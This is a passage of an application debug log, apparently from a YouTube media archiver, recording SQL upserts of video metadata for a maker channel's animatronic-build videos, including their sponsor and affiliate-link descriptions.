98, ~U[2025-10-05 13:39:45Z], ~U[2026-06-02 17:42:12Z], ~U[2026-06-02 17:42:12Z], "Jaimie and Jay make Figure from Doors! Discover projects designed to inspire curiosity at any age with KiwiCo! Go to https://www.kiwico.com/wickedmakers and use code WICKEDMAKERS for 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nMERCH & WICKED GEAR ► https://shopwickedmakers.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nCould you sneak past a Figure in real life??\nFigure is one of the main enemies from an indie horror game called Doors on Roblox, developed by LSPLASH and RediblesQW. In the game, Figure is blind, so it can’t see you, but it can hear even the lightest footstep. It’s terrifying. We’re getting ready for Halloween, and a sound activated realistic Figure animatronic is going to be the perfect addition to our decorations to scare trick-or-treaters!\n\nTo make our real life Figure, we’re starting a werewolf animatronic from Lowes. It’s the perfect height, and has a really cool howling animation that will make our Figure look extra scary. After making a few modifications to the frame, we built up Figure’s shape with bubble wrap, aluminum foil, and plastic wrap. We swapped out the motion sensor for a sound sensor, added teeth and a glowing head, and we were ready for the ultimate challenge. Can we actually sneak past Figure, or will it catch us??\n\nWe can’t wait for Halloween! If you want to see more DIY animatronic builds like Springtrap and Jackie from FNAF or Dogday, Catnap, and Huggy Wuggy from Poppy Playtime, be sure to check out our channel! And let us know who YOU want us to build next!\n\nThanks for watching and Stay Wicked, y’all!\n\n#Figure\n#Doors\n#Animatronic", "We made a real FIGURE Animatronic (that can hear you)", "VIJ9qbIX8-o", "https://www.youtube.com/watch?v=VIJ9qbIX8-o", 35, 1424, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e100500 - We made a real FIGURE Animatronic (that can hear you).mp4", false, ~U[2025-10-05 13:39:45Z]] 13:42:12.114 [debug] QUERY OK source="sources" db=0.2ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:12.114 [debug] QUERY OK source="media_items" db=0.3ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-13 12:19:05Z], 35] 13:42:12.126 [debug] QUERY OK source="media_items" db=11.2ms idle=3.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay turn Labubus into NIGHTMARES! 😱 Go to https://piavpn.com/WickedMakers to get 83% off from our sponsor Private Internet Access with 4 months free!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nLABUBU GIVEAWAY ► http://bit.ly/46jp0JU\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nBe a Wicked Maker! ►\nhttps://discord.gg/wickedmakers\n\nSpecial thanks to @BeardlessProps\n\nFreddy Glove STL: https://www.thingiverse.com/thing:962185\n\n#Labubu \n#Horror\n#Makeover", "We turned LABUBUS into Nightmare Animatronics!", "6a3ba9f7-f6e1-433d-8fb1-9d318a127abe", "L8HNEnUT070", false, "https://www.youtube.com/watch?v=L8HNEnUT070", 35, [], 1324, false, 7, "/downloads/shows/Wicked Makers/Season 2025/s2025e091300 - We turned LABUBUS into Nightmare Animatronics!.mp4", false, false, 98, ~U[2025-09-13 12:19:05Z], ~U[2026-06-02 17:42:12Z], ~U[2026-06-02 17:42:12Z], "Jaimie and Jay turn Labubus into NIGHTMARES! 😱 Go to https://piavpn.com/WickedMakers to get 83% off from our sponsor Private Internet Access with 4 months free!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nLABUBU GIVEAWAY ► http://bit.ly/46jp0JU\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nBe a Wicked Maker! ►\nhttps://discord.gg/wickedmakers\n\nSpecial thanks to @BeardlessProps\n\nFreddy Glove STL: https://www.thingiverse.com/thing:962185\n\n#Labubu \n#Horror\n#Makeover", "We turned LABUBUS into Nightmare Animatronics!", "L8HNEnUT070", "https://www.youtube.com/watch?v=L8HNEnUT070", 35, 1324, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e091300 - We turned LABUBUS into Nightmare Animatronics!.mp4", false, ~U[2025-09-13 12:19:05Z]] 13:42:12.126 [debug] QUERY OK source="sources" db=0.3ms idle=14.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:12.127 [debug] QUERY OK source="media_items" db=0.4ms idle=13.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-08 14:45:00Z], 35] 13:42:12.130 [debug] QUERY OK source="media_items" db=2.3ms idle=13.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make JACKIE from FNAF: Secret of the Mimic! Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin the WM Community! ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to:\n ► @Formlabs \n ► @BeardlessProps\n ► @PurgatoryProps\n\nWe made a Jackie animatronic from Five Nights at Freddy's: Secret of the Mimic. But instead of making just one Jackie animatronic, we made 3! We challenged ourselves to see how good we could make Jackie in 1 hour, 1 day, and 1 week. To make the challenge even more difficult, each FNAF Jackie animatronic is a different version of her - normal Jackie, Mimic Jackie, and Shattered Jackie. At the end, we put our Jackie to the test and see if she can actually defeat Arnold.\n\nWe love making DIY FNAF animatronics! Let us know who you want us to build next and Stay Wicked!\n\n#FNAF\n#SecretOfTheMimic\n#Jackie", "We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week", "167ad31a-cd9d-4a35-ae02-fee93a87cf14", "9Enbe3xxp7o", false, "https://www.youtube.com/watch?v=9Enbe3xxp7o", 35, [], 1827, false, 8, "/downloads/shows/Wicked Makers/Season 2025/s2025e080800 - We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week.mp4", false, false, 98, ~U[2025-08-08 14:45:00Z], ~U[2026-06-02 17:42:12Z], ~U[2026-06-02 17:42:12Z], "Jaimie and Jay make JACKIE from FNAF: Secret of the Mimic! Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin the WM Community! ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to:\n ► @Formlabs \n ► @BeardlessProps\n ► @PurgatoryProps\n\nWe made a Jackie animatronic from Five Nights at Freddy's: Secret of the Mimic. But instead of making just one Jackie animatronic, we made 3! We challenged ourselves to see how good we could make Jackie in 1 hour, 1 day, and 1 week. To make the challenge even more difficult, each FNAF Jackie animatronic is a different version of her - normal Jackie, Mimic Jackie, and Shattered Jackie. At the end, we put our Jackie to the test and see if she can actually defeat Arnold.\n\nWe love making DIY FNAF animatronics! Let us know who you want us to build next and Stay Wicked!\n\n#FNAF\n#SecretOfTheMimic\n#Jackie", "We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week", "9Enbe3xxp7o", "https://www.youtube.com/watch?v=9Enbe3xxp7o", 35, 1827, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e080800 - We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week.mp4", false, ~U[2025-08-08 14:45:00Z]] 13:42:12.130 [debug] QUERY OK source="sources" db=0.3ms idle=15.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:12.131 [debug] QUERY OK source="media_items" db=0.3ms idle=4.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-13 17:44:01Z], 35] 13:42:12.132 [debug] QUERY OK source="media_items" db=0.9ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make THE DOCTOR! 👁️ Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nClockwork Dog ► https://clockwork.dog\nBaldwin Williams Jr. ► @BaldwinVoices\nMob and Poppy Playtime ► https://poppyplaytime.com/\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real animatronic of Harley Sawyer, aka \"The Doctor\" to be a security guard and protect our house! Using an advanced system designed for controlling escape rooms and theme parks, we sort of gave him a \"brain\" so he can connect to our home network and control things like our door locks, security cameras, and lights! We even worked with the developer of the game, Mob Entertainment and his original voice actor.\n\n#TheDoctor\n#PoppyPlaytime\n#Animatronics", "We made The DOCTOR to Protect our House!", "daa1af9a-749c-4280-b947-565e39792089", "IC1Hy_pnKT0", false, "https://www.youtube.com/watch?v=IC1Hy_pnKT0", 35, [], 1594, false, 9, "/downloads/shows/Wicked Makers/Season 2025/s2025e061300 - We made The DOCTOR to Protect our House!.mp4", false, false, 98, ~U[2025-06-13 17:44:01Z], ~U[2026-06-02 17:42:12Z], ~U[2026-06-02 17:42:12Z], "Jaimie and Jay make THE DOCTOR! 👁️ Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nClockwork Dog ► https://clockwork.dog\nBaldwin Williams Jr. ► @BaldwinVoices\nMob and Poppy Playtime ► https://poppyplaytime.com/\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real animatronic of Harley Sawyer, aka \"The Doctor\" to be a security guard and protect our house! Using an advanced system designed for controlling escape rooms and theme parks, we sort of gave him a \"brain\" so he can connect to our home network and control things like our door locks, security cameras, and lights! We even worked with the developer of the game, Mob Entertainment and his original voice actor.\n\n#TheDoctor\n#PoppyPlaytime\n#Animatronics", "We made The DOCTOR to Protect our House!", "IC1Hy_pnKT0", "https://www.youtube.com/watch?v=IC1Hy_pnKT0", 35, 1594, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e061300 - We made The DOCTOR to Protect our House!.mp4", false, ~U[2025-06-13 17:44:01Z]] 13:42:12.133 [debug] QUERY OK source="sources" db=0.1ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:12.133 [debug] QUERY OK source="media_items" db=0.3ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-28 19:37:17Z], 35] 13:42:12.140 [debug] QUERY OK source="media_items" db=6.1ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real YARNABY animatronic and test if it's strong enough to actually EAT a person!!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nGgreg Chaille ►https://x.com/gregchaille\nBeardless Props ► https://instagram.com/beardlessprops\nDERAILED3D ► https://youtube.com/DERAILED3D\nPurgatory Props ► https://purgatoryprops.com\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real Yarnaby animatronic from Poppy Playtime—and then made it strong enough to eat a person. In true Wicked Makers fashion, we didn’t stop at scary… we cranked it up to horrifying. Using steel, pneumatics, and a whole lot of trial and error, we created a terrifying DIY Halloween animatronic and then tested its bite strength with a ballistic gel arm to see if Yarnaby could really take a chunk out of someone. Spoiler: it got messy. If you're into DIY Halloween props, animatronic builds, or just love ridiculous horror props, you're going to love this chaotic creation.\n\nThis video is packed with behind-the-scenes madness, prop-making tips, and a full breakdown of how we built Yarnaby from scratch. Whether you're making your own haunted house props, dreaming up Halloween decor, or just love creepy DIY animatronics, this is the ultimate Poppy Playtime build for the spooky season. And if you love mascot horror, we’ve got a ton more custom animatronics from FNAF, Poppy Playtime, and even The Walten Files on our channel. Subscribe for more Wicked DIY horror projects and join Jay and Jaimie as we test the limits of what a homemade Halloween animatronic can actually do. Stay Wicked!\n\n#Yarnaby\n#PoppyPlaytime\n#Animatronics", "We made a real YARNABY Animatronic (that can eat people)", "9d8139bd-d4a2-42b2-95cd-e326278da5e1", "Vn8F67pCAlk", false, "https://www.youtube.com/watch?v=Vn8F67pCAlk", 35, [], 1690, false, 10, "/downloads/shows/Wicked Makers/Season 2025/s2025e032800 - We made a real YARNABY Animatronic (that can eat people).mp4", false, false, 98, ~U[2025-03-28 19:37:17Z], ~U[2026-06-02 17:42:12Z], ~U[2026-06-02 17:42:12Z], "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real YARNABY animatronic and test if it's strong enough to actually EAT a person!!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nGgreg Chaille ►https://x.com/gregchaille\nBeardless Props ► https://instagram.com/beardlessprops\nDERAILED3D ► https://youtube.com/DERAILED3D\nPurgatory Props ► https://purgatoryprops.com\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real Yarnaby animatronic from Poppy Playtime—and then made it strong enough to eat a person. In true Wicked Makers fashion, we didn’t stop at scary… we cranked it up to horrifying. Using steel, pneumatics, and a whole lot of trial and error, we created a terrifying DIY Halloween animatronic and then tested its bite strength with a ballistic gel arm to see if Yarnaby could really take a chunk out of someone. Spoiler: it got messy. If you're into DIY Halloween props, animatronic builds, or just love ridiculous horror props, you're going to love this chaotic creation.\n\nThis video is packed with behind-the-scenes madness, prop-making tips, and a full breakdown of how we built Yarnaby from scratch. Whether you're making your own haunted house props, dreaming up Halloween decor, or just love creepy DIY animatronics, this is the ultimate Poppy Playtime build for the spooky season. And if you love mascot horror, we’ve got a ton more custom animatronics from FNAF, Poppy Playtime, and even The Walten Files on our channel. Subscribe for more Wicked DIY horror projects and join Jay and Jaimie as we test the limits of what a homemade Halloween animatronic can actually do. Stay Wicked!\n\n#Yarnaby\n#PoppyPlaytime\n#Animatronics", "We made a real YARNABY Animatronic (that can eat people)", "Vn8F67pCAlk", "https://www.youtube.com/watch?v=Vn8F67pCAlk", 35, 1690, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e032800 - We made a real YARNABY Animatronic (that can eat people).mp4", false, ~U[2025-03-28 19:37:17Z]] 13:42:12.140 [debug] QUERY OK source="sources" db=0.2ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:12.141 [debug] QUERY OK source="media_items" db=0.3ms idle=7.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-27 21:06:35Z], 35] 13:42:12.142 [debug] QUERY OK source="media_items" db=1.2ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real ENNARD animatronic and survive the night with it!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn and @BeardlessProps!\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nOur Favorite 3D Printing Filament ► https://collabs.shop/llx8l1\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nWe turned Ennard from Five Nights at Freddy’s into a fully functional DIY Halloween animatronic, and then we survived the night with it in our bedroom! This chaotic challenge was packed with late nights, over 500 ft of wire loom conduit, and more hot glue than we care to admit. If you're looking for creepy Halloween ideas, over-the-top DIY Halloween props, or just want to see what happens when two horror-obsessed makers (Jay and Jaimie from Wicked Makers) go all-in on their scariest animatronic makeover yet — this one's for you. It’s a FNAF-inspired horror prop with major Halloween decor vibes, and the end result is one of the creepiest animatronics we’ve ever made!\n\nWhether you're decorating your haunted house, building your own Halloween FNAF animatronics, or just love horror props from Poppy Playtime, FNAF, or anything spooky—this project is filled with inspiration. We’ll walk you through the full build process, share tips for working with foam, servo motors, LEDs, and how to make terrifying DIY Halloween decorations. Subscribe for more Wicked DIY builds and join us in making Halloween year round!\n\nStay Wicked!\n\n\n#FNAF\n#Animatronics\n#FiveNightsAtFreddys", "Surviving Overnight with a real ENNARD Animatronic!", "e81a25ad-3442-4c13-83a1-0fbf00a436e0", "c0z4AD7VA4Y", false, "https://www.youtube.com/watch?v=c0z4AD7VA4Y", 35, [], 1071, false, 11, "/downloads/shows/Wicked Makers/Season 2025/s2025e022700 - Surviving Overnight with a real ENNARD Animatronic!.mp4", false, false, 98, ~U[2025-02-27 21:06:35Z], ~U[2026-06-02 17:42:12Z], ~U[2026-06-02 17:42:12Z], "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real ENNARD animatronic and survive the night with it!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn and @BeardlessProps!\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nOur Favorite 3D Printing Filament ► https://collabs.shop/llx8l1\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nWe turned Ennard from Five Nights at Freddy’s into a fully functional DIY Halloween animatronic, and then we survived the night with it in our bedroom! This chaotic challenge was packed with late nights, over 500 ft of wire loom conduit, and more hot glue than we care to admit. If you're looking for creepy Halloween ideas, over-the-top DIY Halloween props, or just want to see what happens when two horror-obsessed makers (Jay and Jaimie from Wicked Makers) go all-in on their scariest animatronic makeover yet — this one's for you. It’s a FNAF-inspired horror prop with major Halloween decor vibes, and the end result is one of the creepiest animatronics we’ve ever made!\n\nWhether you're decorating your haunted house, building your own Halloween FNAF animatronics, or just love horror props from Poppy Playtime, FNAF, or anything spooky—this project is filled with inspiration. We’ll walk you through the full build process, share tips for working with foam, servo motors, LEDs, and how to make terrifying DIY Halloween decorations. Subscribe for more Wicked DIY builds and join us in making Halloween year round!\n\nStay Wicked!\n\n\n#FNAF\n#Animatronics\n#FiveNightsAtFreddys", "Surviving Overnight with a real ENNARD Animatronic!", "c0z4AD7VA4Y", "https://www.youtube.com/watch?v=c0z4AD7VA4Y", 35, 1071, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e022700 - Surviving Overnight with a real ENNARD Animatronic!.mp4", false, ~U[2025-02-27 21:06:35Z]] 13:42:12.143 [debug] QUERY OK source="sources" db=0.1ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:12.143 [debug] QUERY OK source="media_items" db=0.3ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-29 21:00:33Z], 35] 13:42:12.145 [debug] QUERY OK source="media_items" db=1.2ms idle=3.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. Jay and Jaimie build a Poppy Playtime Escape Room to trap their friends Evan and Katelyn! Will they make it out??\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport Our Videos: ► https://patreon.com/wickedmakers\n\nGet Poppy Playtime Chapter 4: ►https://huggywug.co/4hADvwL\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn!\n\nMATERIALS/STUFF WE USED ► \nBook of Bill - https://amzn.to/4eOHl3M\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nEVA Foam - https://amzn.to/4995bG0\nRope Light - https://amzn.to/3V6x3Vl\n3D Print Coating Resin - https://amzn.to/3B2MsPM\nAcrylic Paints - https://amzn.to/3ZoarT1\nSpackle - https://amzn.to/3ZqZQqw\nGorilla Glue - https://amzn.to/411Sk6A\nMicro Servos - https://amzn.to/4i5O6Rv\nSpeakers - https://amzn.to/3ZoNLlC\nXPS Foam - (Hardware Store)\nDrylok - (Hardware Store)\nMetal - (Hardware Store)\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: 